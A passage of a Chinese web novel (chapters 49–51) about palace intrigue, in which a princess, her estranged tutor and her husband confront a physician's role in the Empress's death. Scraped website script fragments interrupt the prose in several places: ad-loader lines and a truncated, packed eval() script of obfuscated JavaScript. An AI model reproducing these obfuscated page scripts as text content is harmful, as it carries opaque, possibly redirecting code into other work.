他这是打算,虚构一桩“杀父之仇”以取信赵王派,让赵王坚信他们虽然不是一条船上的,他梅如故也不会当赵王的走狗,但为了报仇,他们可以合作。且他梅如故对付魏王不是因为东宫旧事,只是因为他们有仇,赵王派自然不会担心有朝一日梅如故会把对准魏王的刀子转向自己。 只是此事过于,惊世骇俗了。 沈明枳犹豫了很久,预想了赵王派很多不符常理的反应和刁难,设想了很多事败之后的下场,最后还是艰难开口:“你有几成把握?假就是假,总要露出马脚的。且冰冻三尺非一日之寒,荥阳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 郑氏绝对不是这么简单就能扳倒的……要不我还是去问问窦宙吧。” 梅如故不悦,“郑家自然不是这么容易倒的,但不是有赵王吗,他们狗咬狗咬得不亦乐乎。”他说着,语气不由得变得尖酸:“再说,窦宙是什么人,窦家出来的人,你问了他就能有什么把握吗?你这么相信他?” 沈明枳下意识地为窦宙辩驳几句,就见梅如故自嘲地一笑:“算了,和小孩子较什么劲,小时候他也教过你骑马,也是个有点良心的,总不至于害你,你爱问就问吧。” 小孩子。 沈明枳如遭雷劈。 缓了片刻,她有些看开了,毕竟在梅如故眼里她沈明枳何曾真的长大过,能当他眼里的孩子也算是幸事。 但是,他对窦宙的态度如何变成了这样? 他们之间怎么会变成这样? 他们之间怎么能变成这样? 从前他们几个人里,梅如故和乔致用因着出身相近、利益相切、性情相补、志趣相投,最为要好,而窦宙沉默寡言不善言辞,和同样是个闷葫芦的韦不决更为亲近,他们四个之间算不上肝胆相照但也是英雄相惜互相青眼的,如何会走到现在这个地步? 看见沈明枳的错愕,梅如故又哂笑:“又在乱七八糟想什么?智极必伤,虽然你还没聪明到那个地步,但多思多虑对你身体总归不好,何况你刚刚从鬼门关里回来,黑白无常还记着你的脸,小心半夜他们闲着无事再缠上你,那就玩完喽。” 鬼门关。 沈明枳想到了癸卯疫变,那真的是所有人的鬼门关。 方才梅如故说起这件事,只说了乔致用因前方战事中途折返,这才错过了回京主事的机会……是了,她一直担心梅如故会因为师出无名而被赵王派盯上,从没有去想梅如故不惜把作古多年的梅阁老重新抬出来做戏的真实目的! 此事凶险,沈明枳也不知道他的“安排好了”是已经安排到什么地步,且就凭自己对他的了解,梅如故绝对不是一个会为了一点正道公义而义无反顾的人,他大费周章想搬倒郑氏,绝对不仅仅是为了道义,他是想搬倒郑氏身后的魏王。 可他梅如故本就是深陷夺储漩涡的人,东宫死后,太子妃命陨,保全他们梅氏全族的唯一办法就是远离朝堂,梅家人根本经受不起任何一点有关皇权的猜忌。但他现在的所作所为,就是拿梅氏全族的命运在赌,只为了报尚不明晰的东宫之仇。 东宫之仇! 他们都觉得太子死得蹊跷,不相信这是天妒英才要让他年岁不永,但他们找不出蛛丝马迹去指证谁才是幕后黑手,谁才是该死、该痛苦地去死的那个人。他们只是在猜。 太子死后最大的受益者魏王成了他的仇人,他不顾一切、一意孤行也要倾覆这样一团庞然大物。当年癸卯疫变,戍守东宫的长缨卫指挥使韦不决和同样在京的阴阳卫指挥使窦宙也因此变成了他的仇人,那梅如故是否也会发了疯地去践踏他们年少时共度的岁月和共誓的志向? 纵然乔致用有本事,可那时如果他得以回京,真的就能挽回危局吗?他回来能干什么,是调换东宫的守备还是延请回春圣手来医治无解之疾?再有,后来乔致用回京了,连远在外地巡按的柳曦既也回来了,可梅问香呢,梅问香肚子里的骨血呢?他们也还是死了。梅如故怎么可以因为韦不决和窦宙没有护住东宫而牵连、迁怒至此! 这样珍贵却脆弱的相伴,如何能轻率地用“背叛”二字去试探。 梅如故有他的道理。 这是沈明枳很小的时候就明白的事情。 那他的道理究竟是什么。 沈明枳抬眼,睫下流淌出的伤楚尽数落入梅如故的眼中。他抿唇,他的嘴唇本来就像柳叶一般锐利,不笑的时候带着一种不管人生死的凉薄,而此刻他的嘴唇已经成了一条细细长长的线,仿佛一条要逐渐串起散落暗投的明珠的细线。 他不会说的,不会和一个孩子说这些血腥的事情。 可沈明枳想试一试:“你这么做,究竟是为了什么?” 49. 第四十九章 没有心 似是要印证沈明枳的猜测,梅如故简单摸清沈明枳的心思后,不由无奈地叹气,叹着叹着,一股从天而降的暴躁占据了山头。他想要发火,可他不能对沈明枳发火,不能对任何人因为这些事发火,成为情绪的阶下囚解决不了任何问题。 从来都是泰山崩于前而色不改的梅如故,头一次露出了这样苦恼的神色,“鹇儿……沈明枳!” 就连小时候,沈明枳将梅如故惹急眼了,他那样生气也没有直呼过她的大名。一是因为直呼其名犯的是皇家的忌讳,二是因为说起沈明枳便会想到故太子,而一想到故太子,又有什么火消不了。 “肉食者鄙,又何间焉?” 他这是把他自己也归为那样食肉寝皮的凶残暴戾之人。 “有些事情你何必去问,知道了也没用,你担心,担心了也没用……虽说皇后他们都不在了,但我们几个还在,圣上还在,天塌下来了也有我们扛伤不到你,你只管高高兴兴地做你的公主,哪天想起我们就来看看,若是想起了小时候做的那几个梦,那就五湖四海地去走一走……” 梅如故越说越焦躁,就像小时候给沈明枳讲道理,他最烦那个年纪的小孩子,可还得耐着性子给她拨开了揉烂了地讲,讲到她明白为止。 他抓乱了自己的冠发,恨不得将沈明枳的脑袋破开来看看里面究竟是糨糊还是白水,他有些自暴自弃,更是后悔,好好的怎么有说成了这个样子?可气氛到了,接下来的话他不得不说:“如果你还没嫁人,那我绝不会纵你一人在京里胡闹!你不喜欢柳曦既,人家也不喜欢你啊,可你怕他、敬他,好歹他能管得住你、护得了你、也容忍得下你继续像小时候那样胡闹。等边关战事平息,大楚不必再和亲了,你想和离就和离,柳曦既也不会管你;可你嫁人了,你选择了郇海山——” 说起郇寰,梅如故更头疼了,但箭在弦上不得不发,他咬牙续道:“他本人还是可以的,就是和赵王他们走得太近,他身上的是非确实是多,跟他过日子确实是难,但既来之则安之,你就安安分分地在公主府里逍遥,若是觉得闷就学临川郡主养上几个小倌,他不会说什么的。” 梅如故也觉得自己的话荒唐。 郇寰那种人会不在意?他明面上不在乎背地里绝对会整死所有让他不顺心的人。沈明枳就算是选打算一辈子埋在故纸堆里的宁晨铎也不该选他的!如果沈明枳真能不谙世事,那和郇寰一起过日子就会如同泡在糖罐里;如若不幸,动乱变故接连属,黄粱梦醒,幻像如影,这种蜜糖就会变成砒霜,所有的美好都是伪装。 可沈明枳做不到,连这样自欺欺人的幸福日子也过不了。 坦途就在前方,可她偏偏选了最难走的那处悬崖。 沈明枳想要干什么他难道不知道吗? 可而今自己只是将这桩血案的一片残页亮给她看,她就已经心中流血。 这条路太凶险了,她走不下去的。 “我的公主,你就不要管这些事了!话虽难听,却极其有理,朝廷之事不是你能掺和的!教你读书识礼,不是让你和那些官混子互咬的!你的心是好的,可你不从小就知道,光有好心、心再好,事情也不会有半分改变。” 说着,梅如故目露凄然:“你难道也忘了吗,你的大姐姐是怎么死的……” “正是因为我没忘!”沈明枳倏然站起,小几倾倒,茶碗碎落,壶中尚且温热的水洇湿了梅如故的袖子。梅如故望着豁然起身的她、目眦欲裂的她、心毁神摧的她,只觉得自己心口,多年前被剜去了一块的地方,重新又在流血。 “那就不要记了。” 沈明枳震惊地俯看向梅如故,垂在袖子中的手紧紧捏在了一起,饶是她使了这样的力气,还是抑制不住地颤抖起来,“你……你说什么?” “我说,不要记了。”梅如故抬眼一瞬间,沈明枳恍若得见青釉瓷摔碎在青石板,戾天鸢坠落入无涯海,他的心无声地碎了,可他还要一片片捡起来、拼起来,装作无暇无疵、始终如一。 这是梅如故第一次承受不住这样哀恸责备的目光,出逃似地挪开了视线,“她的心那么软,最见不得旁人伤心,你这么爱她,怎么能忍心让她也伤心?若她在天有灵,看见你这么痛苦,她能安息吗?” “梅如故!” “我没有说笑!公主,既然你不想当孩子了,那我也不必费这么大力气去哄你、骗你,实话说,哪怕我们几个以后斗得你死我活,你不要管,一家子兄弟之间都会斗嘴,他们是血脉相连的亲兄弟,尚且免不了阋墙,何况我们本就性格各异、政见不同。是,我们有同窗同志之谊,可这都是多少年前的旧事了,什么情谊也都该淡了!你什么都担心只会毁了你自己的日子。” “淡了?”沈明枳的心口好像压上了一块石头,“淡了?梅心,你可真没有心!” 梅如故居然笑了:“是啊,我梅心最是没心没肺。”可他眼中蒙尘:“毕竟我梅心,生来就要割掉凡心做圣人的,我怎能辜负师长的殷切期望和我这么多年的苦度!” 沈明枳背过身,抹去止不住的眼泪。 “既然说到这个份上,那我就再直白点。嫁人、南巡、和亲,你一声不吭做了这么多事,做得妥帖也就罢了,可你事事都要人来操心。循心教你这些大道理、带你读那些圣贤书不是让你生事端的!看见你这个模样、日子过成这个混账样子,你觉得他们能够瞑目吗?你能不能让我们,让他们,都省点心。” 一瞬。 两瞬。 三瞬。 沈明枳喉头哽咽,只觉得眼前天旋地转,连忙趁自己还有理智,慌乱从这间弥漫着血腥气味的屋子里跑了出去。 梅如故的眼睛也彻底阖上。他的袖子垂在他膝旁,滴滴答答地沥着水,如同孩子的眼泪,等水声也湮灭在越发嘈杂的心海里,他才睁开眼睛,用方才被碎瓷割伤的手,慢条斯理地将袖子里的水拧干。 ** 大雨就是像这样訇然一声落下的。 沈明枳浑身湿透,但肌肤之外的寒冷都不如内心深处的痛苦来得刺骨。她辨不清耳畔的轰鸣是雷电还是自己心里的哭号。她一点声音也不敢发出来,怕惊动了车外披着蓑衣的月珰,怕让行人也发现自己的脆弱。她甚至不敢让自己再多流下半滴眼泪,因为眼睛会肿的,这样她的泪水又将无处遁形。 月珰等了半晌,没得到沈明枳的指示,只得发问:“殿下,是回府吗?” 沈明枳胡乱抹去脸上纵横的泪痕,将心口的血气咽了下去,却忍不住上升的肺气剧烈咳嗽起来,等她整个人脱力地靠在车厢壁上时,放心不下的月珰打算进去一探究竟。 “不回。” 月珰已经扣住车门的手放了下来。 沈明枳忍不住蜷缩起来,眼泪又决堤似的打湿了她的袖子衣襟。 她想回家。 可寒雨横天,何处是家?有哥哥姐姐,有娘娘,有不讨厌的梅如故……而今可堪为家的地方,只怕是幽冥地狱,只怕是紫微宫。就此了断她舍不得,她还有很多事情要做,可她飞不去紫微宫,煌煌化隆,也没有哪处高楼能远望见紫微宫的飞檐。 月珰对车夫道:“找个僻静的巷子停一会儿,等雨停吧。” 车夫应是,但却低声嘀咕:“这雨可不是一时半会儿就能停得了。” 月珰心煎。 过了几刻,沈明枳声音犹如风过枯丛,又响了起来:“给他送信,四个字,以狄养兵。” “好。” 天色低垂,初上中天的月轮割起系着雨幕的云带,呲啦一声,带子一刀两段,雨幕哗啦摊在了地上,几点牛毛棉絮般的飞雨在空中游荡,随着远天夜风的沉睡渐渐平息。 月珰缩在车厢外,居然也打了一个盹,等她一睁眼看见夜色浓稠,深巷外红光烛天,而背后的车厢内绝无半点动静。她这才又慌张起来,顾不得礼数拉开车门就探了进去。沈明枳跌坐在地,仍伏在座位上浅眠,她的头发已经完全散了,凌乱地贴服她的脸颊,厢壁下挑着的风灯光芒很暗,可借此光亮,月珰仍得见她眉头紧缩,似是受困于一场噩梦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而不能自拔。 车门一开,凉意涌入,沈明枳浑身一颤,苏醒过来。 “殿下?”月珰解下蓑衣就冲进车里,刚扶上沈明枳的小臂就觉手上一重,随即是一阵温热的暖流顺着自己的虎口流入手心。她不必低头看,也知道是沈明枳扣上了自己的右手,而她的额头靠在她的手背上无声泪流。 除去东宫和长安公主,她从小最喜欢的人就是梅学士,什么事都会和他说,也什么事情都逃不过他的眼睛,想来梅大人的“无心之言”也最能戳中她的心窝。 何止是戳中,简直是拿着刀子捅穿了这一颗心。 月珰伸左手,轻抚过沈明枳披散的头发,“殿下又做噩梦了。” “是美梦。”沈明枳松开了月珰的手,重新坐了起来。她有些脱力地靠上凳沿,对着迎面而来的穿楼长风悠悠舒出一口气,“回府吧。” 她的泪挂在脸上,闪出一道银白的痕迹。 月珰心里并不相信沈明枳的鬼话,但面上应是,重新坐到了车厢外。 这的确是场难得的美梦。 梅如故说,她如果想起了小时候做的那几个梦,就五湖四海地走一走。若真能走,她头一个要去的地方就是埋葬着大姐姐的长风关,然后是梅如故美梦破灭的昌南。 梅如故是极其洒落超脱的人。 沈明枳一直坚信。 可东宫安然的那些年,每逢梅如故早年“趣事”被乔致用这大嘴巴漏得精光,超然洒落、不问世事的表象之下,内心入世、自负才高的梅心逐渐出露。至此沈明枳才知道,梅如故瞒得太好,以至于在昌南重遇梅如故,惯常被礼法束缚得寸步难行得太子明载想其为人、大受启发,便瞒着帝后自己取了“循心”的表字暗自激励,意为循心而动、不为形役。 循心而动。 故太子也是这么勉励她的,说是有他在,她可以一辈子当个孩子,一辈子循着自己的心意做事。 沈明枳的心绪又落了下去,如这晚天迫降,一丝光明曾存在过的影子也没了。 ** 郇寰刚要出刑部衙司大门,天上就打起了雷,豆大的雨点子就砸了下来。冬至跑回值房拿伞,他便在门房内少立片刻,刚与同样下衙的大理寺卿寺卿拱手叙完旧,寇一爵就带着他的长随从东直门甬道上狼狈地狂奔而来。 郇寰刻意一让,在离浑身水汽的寇一爵五步之外的地方剪手笑问:“寇郎中也下衙?” “不然?”寇一爵低声骂了一句,掸掸身上的豆腐白毛似的雨水,正好冬至抱伞走来,便熟稔地开了口:“借把伞。” 冬至抱着怀里的两把素面油布伞,先看向寇一爵,再看向他同样落汤鸡模样的长随,然后询问地看向郇寰。 郇寰掀唇:“不借。” “借不借?” 听寇一爵的口气,像是不借他这把伞、他就能把刑部衙门给拆了,但衙门被拆了,最后还得他工部来修不是么?冬至再度看向郇寰,郇寰还是那两个字:“不借。” 寇一爵眯起眼:“好歹是十几年的交情,郇侯这样未免薄情。” 郇寰客气回敬:“再薄情,也比不过寇郎中背后捅刀来得薄情寡恩?” 恰此时,衙门里走出一名员外郎,远远听了最后这段对话,以为是两位活佛要公然斗法,只恨自己耳朵背没早点警醒,只憋着施完礼,逃也似地打伞冲进雨幕。 寇一爵冷哼一声:“你以为我大老远跑来启明门干什么?叙旧吗?” 郇寰一挑眉,“哦?难不成是顺路?” 见郇寰故意和他作对,寇一爵不废话,从冬至怀里抢了一把伞就撑着走入雨幕,朝郇寰一扬下巴,“是顺路,怎么,郇侯难道不顺路吗?” 无奈,郇寰熄了玩笑心思,走到伞下。 “郇侯纡尊降贵,愿意和鄙人同撑一伞,鄙人真是荣幸。” “别废话,无事不登三宝殿,说吧,又有什么事了。” 寇一爵脸上也没了松快颜色,“姑母托我问你,那位肖娘子怎么样了?” 50. 第五十章 借把伞 郇寰神色一凛:“寇妃娘娘问她做什么?” “我还从没听过这后宫里,有谁能讨我这姑母的欢心,这位肖娘子是头一个啊,实乃妙人。不过我瞧着醉翁之意不在酒,姑母给她脸,看的是你的面子。” 郇寰脸色冷得可怕:“寇一爵,实话告诉我,她和寇妃娘娘之间有什么特别的勾连吗?” 寇一爵一哂:“能有什么勾连?姑母认识她,托的还是你的福气。” “别打岔,说实话。” “我说的就是实话。” 郇寰透过伞下濛濛雾气般的水汽直视寇一爵,似得见他冷幽幽的眼眸里翻腾着嘲笑。他最终舍弃了揪结不放的打算,扭头重新看向眼前的甬道,“让寇妃娘娘放心,她过得应该很好。” 寇一爵耳朵很尖,“什么叫应该?同住一个屋檐下,朝夕相对的,你难道连她过成什么样子也不知道?” “我为什么要知道。” “她不是你……” 郇寰一记眼刀飞了过来。寇一爵差点收不住,得了郇寰这个警告的眼神,顿时了悟,“那你和兖国公主说了吗?” “有什么好说。” 寇一爵笑道:“外室的传闻虽然不好听,但我可听说了,这肖娘子是兖国公主跟庞大总管点名要的人。” 头上一个惊雷炸响,乌蒙蒙的苍穹裂开一道刺眼的闪电,直直劈向化隆城西南山势隆起之上的双塔寺。 郇寰早就猜到苏霄的事情瞒不过沈明枳,只是没想沈明枳这么快就连人带事全扣在了手掌之下,硬是连解释的机会都没留给自己。可重点不是这个,沈明枳找上苏霄恐也不是为了这个,最让他不安的还是宫里的牵连,尤其是沾上了皇后之死,那就是破心挖肺都说不清! 他缓了片刻问:“你听谁说的?” 寇一爵不语。 郇寰拧眉再问:“御书房里的内监?” 寇一爵依然不语。 郇寰的语气陡然冷冽:“上回打死了两个,你们在宫里的人手还够打死几次?” 寇一爵不悦道:“这些事不用你管。” 郇寰心里明白了大概,“你在袒护他,也罢,让他们把嘴闭严实了,就什么事情也不会有。” 见郇寰不再追究,寇一爵另起话头:“还有一事,依然与兖国公主有关。” 郇寰看了过来。 “还记得畅春园赏梅时我说起的那个崔嫣吗?她最早在尚膳司,后来去了尚仪局,现在了不得了,居然真就去了菁明书院当厨娘。” 郇寰皱眉:“梁皋不过一个少监,再说皇后薨逝,谁敢保她去菁明书院?” 话音刚落,郇寰就反应过来。 “正是兖国公主。” 雨下得更大了,头顶雨声轰鸣,噼里啪啦似是把伞面都打穿了,郇寰身上溅了不少水,更有几滴雨水带着春夏交际常常反复的寒凉,从他耳后没入衣领。 寇一爵解释道:“皇后没了,这位卢嬷嬷没了依仗,但兖国公主求过圣上将她从紫微宫里接了出来,庞大总管记这个恩,就顺手帮了她一个忙。只要没出现什么伤风败俗的事情、不动摇国本,谁会向圣上身边头一号老太监发难?我估摸着,这件事圣上也是知道的。” 郇寰不作声,两个人便沉默地并肩走了会儿,等到启明门进入眼帘,郇寰开口:“还有事吗?” 寇一爵略一寻思,“还真有。”他停下脚步,顾忌着启明门附近人来人往,声音压得极低,在喧嚣的雨声里模糊至极:“太医院有个孙先生,晋王举荐的哑巴,跟着兖国公主南巡返程的那个岭南人。” “怎么了?” “你对他了解多少?我查了不少日子,什么也没挖出来,连他真名叫什么都不知道,全都说他是没有名字的孤儿,被猎户捡了养在深山老林里不问世事,可他不是天生哑巴,王太医猜是小时候被人灌了哑药……真是见鬼了,近来圣上闲了频频召见他,他可是晋王的人,这不是好兆头。” 郇寰只冷笑一声,并不接话。寇一爵说了三件事,件件都与沈明枳有关,但其实他就在说一件事,即兖国公主不是自己人。 她当然不是“自己人”,毕竟娶她的不是寇一爵,而是他郇寰。 出了启明门,冬至率先去套好了马车,驭马驾车停到郇寰面前。郇寰自然地伸手,要从寇一爵手中接过伞柄,谁料寇一爵一缩手,让他抓个空,理直气壮道:“借把伞。” 郇寰扬眉:“坐车打什么伞?” “鄙人今天是骑马来的。” 郇寰挑眉,收手撩袍上车,行云流水,末了,拉开车帘朝一手打伞、一手背收站在启明门前吃冷雨的寇一爵颔首。他本想说几句风凉话奚落他,就听大路上马蹄大响,一瞬间郇杭披着蓑衣骑马奔到眼前。 “主子,殿下让我来送信。” “她不是去梅如故府上了吗?” 郇杭只顾将怀里口袋塞着的纸片抓出来递出去。雨水乱杂,打湿了纸片,纸上匆忙的墨迹即刻晕开,郇寰就着暗淡天光细细看过,顿时喊住启明门前正要踱步远去的人:“寇一爵!” ** 化隆城的雨一旦暴敛,比起岭南毫不逊色。苏霄做完了一天的活,刚点了灯做到桌案前,翻了几页书,就见窗外影过,就听门扉轻响,她起身走到门边,理好衣襟,开了一条门缝,警惕地望了出去。双眸微睁,苏霄即刻将房门完全打开,侧开身,给浑身滴着水的郇寰让开一条道。 “驸马怎么来了?” 郇寰一扫屋内,“可以进来吗?” 苏霄向他比了一个请的手势。 郇寰在屋外拧干了自己衣袂,这才走进屋中。昏暗中,他不多看苏霄的卧榻,也不看门边惴惴的苏霄,只将视线局限于灯光照彻的书案四周。 “在公主府里过得还好吗?” “很好。” 郇寰点点头,垂眼看向满桌医案药典之中摊开的书页,略感诧异:“‘无为其所不为,无欲其所不欲,如此而已矣’。这是《孟子·尽心章句上》,你怎么也看起这些了?” “闲了看看。” 郇寰没有立即接话,只是收回目光,今天晚上第一次正式地打量起苏霄,少顷,等眼前人的模样完全与记忆里重合,郇寰这才撤回视线,语气平淡:“寇妃娘娘很赏识你,既然你过得很好,我就能交差了。” 灯光再昏暗,郇寰也看得清她眼中的遮掩不住的失望。 “寇妃娘娘近况如何?” “娘娘一直身体康健。” “那心里呢?” 苏霄仰头望着郇寰,姣好的一张脸上是止不住的惋伤。 郇寰的心“咯噔”一声落了地。 “娘娘爱女心切……” “好了。”郇寰打断了苏霄,“医人医心,医人不难,医心为难,肖娘子妙手仁心,可知道什么医心的好法子?” 苏霄沉吟片刻答道:“沟通。” “那肖娘子与寇妃娘娘可曾沟通过?” 苏霄心里也明朗起来,她硬着头皮回复:“有。” “你们聊过什么?” 她早猜到郇寰是为了套话而来,可他套自己的话,却提前给了自己说与不说的选择,苏霄不知道这是她的幸运还是他们的悲哀。 郇寰不去看她,只侧过身直面门外嘈杂的风雨,恍惚想起臬司衙门那夜,那夜的风雨远比此刻张狂,可现在想来,那夜的风雨简直如美梦安稳,此刻风雨远胜刀剑。 “寇妃娘娘和我说起了很多……很多宫里的事情。” “什么事情。” 郇寰的声音清冷然不失温度,却让苏霄如坠冰窟,她艰难开口:“有很多关于公主的事情,还有你的事。” “她说什么了?” “兖国公主荣宠无人可比。” 郇寰敛容再问:“关于我呢。” 苏霄不再说话,只痛惜地望向郇寰的侧脸。她还记得自己第一次见到的也是郇寰的半个侧脸,只不过隔着人群,他骑在马上,她站在角落。那年的郇寰初入官场,那时的他未穿官服,一身瞧着就面料上乘、价值不菲的深松色袍子却扎着九环银蹀躞,这种蹀躞带本朝已经不大流行了,抑或者是她井底之蛙不知皇都化隆的风尚,总之那时的郇寰一身桀骜、一身练达,年少与成熟的界限还不是这么明显,让人一眼见了,便知积石如玉、列松如翠,这样世无其二的清贵公子究竟是何等模样。 而今的郇寰全然不再是一个意气风发的少年。从前的他是山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见苏霄垂着脸不言语,他的声音逐渐悲愤:“你与她无冤无仇!你和寇妃也无牵无扯!为什么要搅进这些烂事!” 悲愤过后,就是无尽的惋惜:“我深谢你的救命之恩,一命换一命,苏家覆灭你得新生,这个恩情就是你我之间的瓜葛,我敬你大才,不愿见明珠蒙尘、金玉落土,所以荐你来太医院。苏霄,为什么要这么做?是寇妃逼迫的吗?” 苏霄摇头。 “那究竟是为什么?是因为我?因为兖国公主?” 苏霄摇头,眼睫上挂下泪来。 “说话。” “不是。” “那是什么?” 苏霄凄然抬头,下意识地要叫他一声“萧郎君”,话出口的一刹那又醒悟过来,可郇寰听见了,他的脸色更加难看了,欲言又止许多次,最后迎着风走到门口,将风雨堵了干净,可一股湍流冲垮了苏霄的心房:“苏霄,你辜负了你自己。” ** 夜里风静雨停,郇寰换过衣裳在沈明枳的屋子里坐了一会儿,不见人回来,也没听说她今夜要在外留宿的招呼,便打算让郇杭带人出去找找以防意外。他起身刚要叫人,就见沈明枳的妆台上压着一本《方台杂谈》,她极爱书,但任她呵护备至,书脚也被翻得有些卷起。郇寰蓦地想起了方台入贡的事宜。 方台毗邻义律,同样与西北靖臣将军辖区接壤,不过方台比义律消停得多,不仅因为方台国内政治崩坏,摄政挟天子以令群臣,还有守国镇边的靖安边将的功劳。现任靖安侯齐珏便是最初一代靖安边将的后人。近来义律和亲、长桫索贡,方台也遣使入京,却是入贡大楚,顺便想求一位公主修翁婿之好。上月内阁会揖,圣上就给出了拒绝的旨意,方台也不恼怒,入贡事宜依然如约进行。 算时候,方台使臣入京也就在最近这几日了。 正想着,沈明枳回来了,不过她一眼也没有看郇寰,只是扯开外袍,倒在了被褥上。 月珰急忙跑进来为沈明枳脱了鞋子,刚要替她脱下湿透了的衣服,就听见了沈明枳埋头于枕间的低咽。她扭头看向了郇寰,郇寰微一颔首,便转身走出了卧房。 51. 第五十一章 都完了 沈明枳睡得很沉,沉到她以为,不会有睁开眼的那一天了。 她又继续了那个美梦,梦里她还在东宫。 太子长兄教她写字,梅如故看了嘻嘻直笑:“你怎么教她写‘志’?小孩子家家懂什么‘志’。”然后太子长兄扔了笔,扔了沈明枳,撸了袖子,踹了梅如故一脚,揪了他的耳朵,把他也扔出门外。 她又气又怒,和梅如故一起在门外大眼瞪小眼。正此时,韦不决架着窦宙一瘸一拐地走了过来,嘴里骂骂咧咧着锦麟卫不是人,“比武就比武,输不起动什么阴招!” 梅如故拍手大笑,一会儿骂韦不决“兵鲁子”,一会儿骂窦宙“老实鬼”,再一会儿骂两个人“活该”,然后他们看见乔致用风风火火地从宫外来,怀里揣着他从西域商贾那里低价“骗”来的稀奇玩意,半路上遇见入宫的柳曦既,乔致用心痒,忍不住就开始献宝,结果得了这个闷葫芦惊天动地的一句称赞:“你被骗了。” 然而这一切都不复存在。 沈明枳感觉有温热的气息喷薄,像一只手捂住了她泪水四溢的眼睛。大姐姐的手没有这么粗糙,而太子长兄的手更生了许多操练刀剑留下的老茧。她睁开眼,在黑暗中细细地摩画郇寰的脸。 他们一开始的目标就是皇后吗? 医者仁心,她却草菅人命。 沈明枳伸出手,在帷帐外印入的极其微弱的一星光亮中,用手覆盖上自己的眼睛。她的眼睛终究是肿了,指间都是泪水。 她好像从没想过自己也能有这么多泪水。 郇寰也没想到。 长安公主出塞和昭文太子病陨时他们还未相识,相识过后,哪怕皇后去世,郇寰也没见过她的眼泪。 “你醒着。”沈明枳沙哑的嗓音闷闷传来。 “嗯。”郇寰看她将身子蜷了起来。 “什么事?” 郇寰很久都没有回应,但沈明枳对他的大事一点也不在乎,只在收拾好自己的心后将曾经举向长宁的刀对准了他:“娘娘死了,你知道为什么么?” 他们面对面躺着,近到呼吸都可以缠绕在一起,但又远得如同站在楚河汉界的两端。 郇寰不作声,静静等待她的宣判。 但沈明枳一言不发地坐了起来,光着身子从床脚走出了帷帐,勾起月珰早就为她准备好的衣裳,又从她妆台上的那本《方台杂谈》下抽出那几张洇晕了夜雨的纸——正是孙先生亲笔誊抄的医案。 这时候的天还是蒙蒙亮,有着初晨时的微凉,也有着临近盛夏前少年人的放浪。 郇寰也坐了起来,扯开帷帐,就看着她坐在桌前,将那几张写满罪又无一处有罪的证据一一向他摊开,一如他案头等待批阅的案卷一样。 “请郇尚书断一断吧,然后告诉本宫该当何罪。” 一息。 两息。 三息。 郇寰对着满纸的“罪该万死”沉默不语。好在沈明枳并不逼他,只是过了少顷,确定每个字都刻入了郇寰心里,这才将几张纸重新折了起来,点燃妆台上的那盏灯,一把火将证据烧得干净。 这个案子如果真的交给现在的三司会审,不说寇妃被废、赵王牵连、寇氏一族遭殃,他郇海山也完了。我不杀伯仁,伯仁却因我而死。寇妃和苏霄是主谋,某种意义上,他郇寰亦算是“帮凶”。 沈明枳将灯盖灭,骤明骤暗之中,她的眼睛更如深渊死潭,其中如有龙蛇、如有鬼怪。 郇寰不知道自己再度看向沈明枳的眼神有多晦涩。 她并不是为了对付自己,而是在调查真相的过程中对付了自己。 她本该一条路走到黑。 可她半途而废。 为什么? 万事都有因果。 得不到这个理由他寝食难安。 “以狄养兵”是她给赵王派的谢礼,而苏霄之事,郇寰自问自己没有这么大的能耐能受得起这样的徇私。 郇寰遏制不住这样的狂想。 他需要一个理由。 可是沈明枳没有给他时间去穷举答案,而是在这样的死寂中,背对着垂首不语的郇寰,慢慢攥紧了手指,“我要见她一面,然后这个女人由你来处置。” 这一刻,郇寰脑海中一片空白,只有四个字,沾着刺眼的鲜血,突跃眼前:“他们完了。” 都完了。 苏霄也知道她彻底完了。 她朴素的房间里迎来了一位不速之客。 月珰搬了一把胡床放在门口,沈明枳便这样拽着盛大的一片天光坐了下来,不甚明朗的一张脸上神色也不明晰,可苏霄被冻得打了个哆嗦,眼见着连月珰也退了出去,屋内只剩下她们两个人,一个坐着,一个人站着,四目相对。 沈明枳不讲礼数,开门见山道:“你喜欢他。” 苏霄望向空荡荡的门外,坚定答“是”。 “从什么时候开始的。” “第一次见他。” 沈明枳洗耳恭听,苏霄却不愿多说,沈明枳只好道:“你应该知道,对他一见倾心的人不少,你是其中之一,却又是个例外。” 苏霄一愣。 沈明枳兀自道:“你于他有救命之恩,救命的恩情之外,他欣赏你,所以你与众不同:以萧某人的身份给你名分,给你钱财,给你仪仗,给你办好良民户籍,给你谋划光明出路。” “公……公主想说什么?” “你辜负了这番心意。” 苏霄呼吸一窒,猛然想起昨夜郇寰说的那句话,倍觉心煎。 “你也让我的一番心意,成了泡影。” “什么意思?” “来公主府这些天你也看见了,我与他之间只是表面文章,所以他有什么过往、过往有哪些红颜知己,我一点也不在乎。” 苏霄的呼吸急促起来:“民妇听说……公主是抢来这桩婚的,这座公主府就是最好的印证。” 沈明枳嗤笑:“你是听寇妃说的对吧。不错,他是我抢来的。正阳门附近有一座很气派的义律王府,那是圣上还是兖王时的府邸,后来翻修成了长安公主府,可惜公主和亲,宣国没这个运气捡漏,只能搬进靖安侯府,而这座公主府就留给了我的。” “为何不要?” “因为我很早就看准了郇海山。” 苏霄的呼吸又是一顿。她几乎耗尽了力气才重新畅通阻塞的呼吸、捋顺僵直的思路,可沈明枳对她的这番挣扎视而不见,兀自说道:“想来寇妃也告诉了你,那时候边关告急,于是我提议将公主府改成了义律王府,以慰敌虏心、以彰和平意,战局果然有了缓和。圣上很宽慰,更觉得亏欠,要给我修府,但朝廷缺钱,再三推辞就没有强迫。现在两府变一府,是打断骨头连着筋,就明白地告诉全天下人,我与他是无论如何也不会和离的,而我推辞公主府,既博了名又收了利,何乐而不为。” “为何要与我说这些。” 